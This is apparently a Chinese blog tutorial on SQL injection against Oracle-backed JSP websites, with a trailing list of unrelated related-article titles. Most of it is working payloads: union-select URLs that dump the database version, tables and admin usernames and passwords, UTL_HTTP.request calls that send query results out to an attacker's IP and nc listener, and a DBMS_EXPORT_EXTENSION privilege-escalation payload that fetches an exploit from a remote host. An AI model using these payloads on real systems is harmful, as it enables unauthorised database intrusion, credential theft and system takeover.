大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限.. 先说下数据库的注释:access支持null和注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视 这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语句,也可以通过; and user()>0来判断mssql,从而排除oracle的库 现在来说注入: 第一种方法使用dual系统表 一、判断注入数字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必须是在页面中存在的字符串) 文本型:url+返回正常 url"+asdfg返回出错(asdfg是随便输入的字符串) 二、长度判断你可以选择union select null,null,null.....(用null,null,null而没有用1,2,3是为了避免类型的问题,当确定下来后可以逐个来替换类型,oracle是不会自动匹配类型滴) order by 我感觉比较省事,我一般都是order by 三、判断dual表是不是存在(这篇文章是针对dual表存在的情况进行注入的,如果不存在的话,工具要是跑不来的话就是体力活了) url and exist (select * from dual) 四、进行注入假设:www.abc.com/abc.jsp?id=1存在注入,而且有7个字段而且都是整型,索引值是在2处 1.判断oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual 2.判断当前连接用户 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual 3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有要求,有些时候可能因为长度不够有些表没有显示出来,假设上面爆出来的有admin表 4.爆字段 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假设是username和password) 5.爆字段内容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了

第二种方法配合utl_http存储过程 如果想检测一下UTL_HTTP包是否存在可以使用语句" select count(*) from all_objects where object_name=UTL_HTTP "来判断。OK既然是反回信息我们先在本地用NC监听,然后使用"and UTL_HTTP.request(http://IP:2009/||(查询语句))=1--"这样的形式。 本地先 nc -l -vv -p 2009,然后提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--" 成功返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段确定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交 "and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--" 假设爆出第一个库的名字为SYS。继续爆第二个库名,提交 "and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此类推,爆出所有的库 爆表语句如下 提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--" SYS库中第一个表为xxx。继续提交 "and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--" 以此类推爆出SYS库中所有的表;如果需要爆表里有多少个列可以用 "and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--" 或者想要爆第一个列名可以使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--" 爆第二个列名使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一个爆出的列名))=1--" 以此类推就可以爆出所有的列名。现在我们继续爆用户和密码,提交 "and UTL_HTTP.request(http://IP:2009/||(select 字段名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--" 爆密码提交 "and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--" 首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web注射直接获得系统权限,呵呵,非常诱人吧!我们先来看看这个函数的利用。如下。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多语句]END;--,SYS,0,1,0) 多语句里写上我们的exploit,但是这样会造成我们构造的语句非常庞大,所以这里我们可以使用utl_http.request来获取我们放在远程及其上的exploit。到这里我们的语句就构造完了。 "and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--" 但是提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)

oracle网站注入,oracle注入,utl_http方法相关推荐

  1. oracle防止sql注入proc,解密:Oracle怎么防SQL注入

    昨天我们说了怎么绕过waf进行sql注入,今天我们继续这个话题,说说Oracle数据库本身在防sql注入方面做了哪些工作. Oracle从8i开始PL/SQL中涌现出了大量SQL注入漏洞,直至11.2 ...

  2. sql注入oracle(1)

    sql注入oracle 1. 判断为oracle and exist (select * from dual ) 或者and (selecr count(*) from user_tables)> ...

  3. 使用Python打造基本WEB漏洞扫描器(一) 网站爬虫+SQL注入检测

    一.实验介绍 扫描器需要实现功能的思维导图: 1.1 实验内容 编写一个简单的多线程爬虫,用于对网站地址进行爬取,编写一个简单的sql注入工具,用于对网站地址进行sql注入的检测. 1.2 实验知识点 ...

  4. 如何防止网站被SQL注入攻击?

    移动互联网的发展势头已经远远超过PC互联网,手机移动端上网,以及持有量远超 PC电脑, 随着移动大数据.区块链的技术在不断的完善,成熟,日常生活中经常会 听到某某网站被攻击, 网站被黑的新闻报道,再比 ...

  5. oracle中判断空,Oracle中判断空游标的方法

    1.声明包 create or replace package TAL_TEST is -- Author : ADMINISTRATOR -- Created : 2012/12/9 15:15:3 ...

  6. 资源放送丨《Oracle数据库之Object的Access方法和结合方法》PPT视频

    前段时间,墨天轮邀请Oracle优化方面的资深专家 陈晓辉 老师分享了<Oracle数据库之Object的Access方法和结合方法>,在这里我们共享一下PPT和视频,供大家参考学习. O ...

  7. Oracle Spatial中上载GIS空间数据方法研究

    Oracle Spatial中上载GIS空间数据方法研究 作者:佚名    文章来源:博客中国    点击数:6873    更新时间:2006-8-24 摘要:采用Oracle Spatial 存储 ...

  8. oracle 打包图文,oracle应用程序实现打包 的方法

    oracle应用程序实现打包 的方法 时间:2019-02-07 14:34作者:网友投稿 Oracle客户端精简后的文件,可以实现数据库的通信,直接和软件打包: 第一步:拷贝文件:主要是四个目录:b ...

  9. oracle无法删除em,Oracle 11g EM删除重建的方法

    虚拟机里的Oracle 11g好长时间没用了,突然打开之后发现EM无法访问了,EM可以重建,于是也不打算查找原因了,直接使大招 OS:Windows Server 2012 Oracle:11g R2 ...

  10. 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施.一. SQL注入攻击的简单示例.statement := " ...

最新文章

  1. linux centos 安装配置tftp服务器
  2. 音视频技术开发周刊 93期
  3. android 广播 7.0变化,安卓7.0到底带来了那些变化?
  4. stevedore——启用方式
  5. React中jsx的规则
  6. 【金三银四】微软java后端社招
  7. Linux命令之文件相关
  8. 开发函数计算的正确姿势——tensorflow serving
  9. 通过简单案例,理解观察者模式
  10. svn中文语言包安装(最详细步骤)*
  11. visual studio 2015 比较代码差异的几种方法
  12. java 英语简历模板下载 百度云_java软件工程师英文简历模板下载
  13. android仿微信朋友圈点击评论效果
  14. 【优化模型】报童的诀窍
  15. 如何从chrome获取你需要的缓存视频
  16. android立方体旋转动画,如何画出一个旋转的立方体
  17. 【软件设计】BDD由内而外采用策略
  18. Oracle19C下载安装教程(图文详解)
  19. 校长请人把计算机修好了英语翻译,英语句子翻译练习软件.doc
  20. Latent semantic analysis (LSA)

热门文章

  1. 使用 JavaCSV api 读取和写入 csv 文件
  2. Jquery实现form表单回填数据
  3. 独家 | TensorFlow 2.0将把Eager Execution变为默认执行模式,你该转向动态计算图了...
  4. 合肥工业大学—SQL Server数据库实验九:视图的定义与使用
  5. 利用UltraScale和UltraScale+FPGA和MPSOC加速DSP设计生产力
  6. 对抗性鲁棒性与模型压缩:ICCV2019论文解析
  7. 2021年大数据Flink(十):流处理相关概念
  8. Laravel7使用Auth进行用户认证
  9. Django 视图URLconf3.1
  10. HarmonyOS UI 开发 vp ,fp , px 以及写具体数字的 理解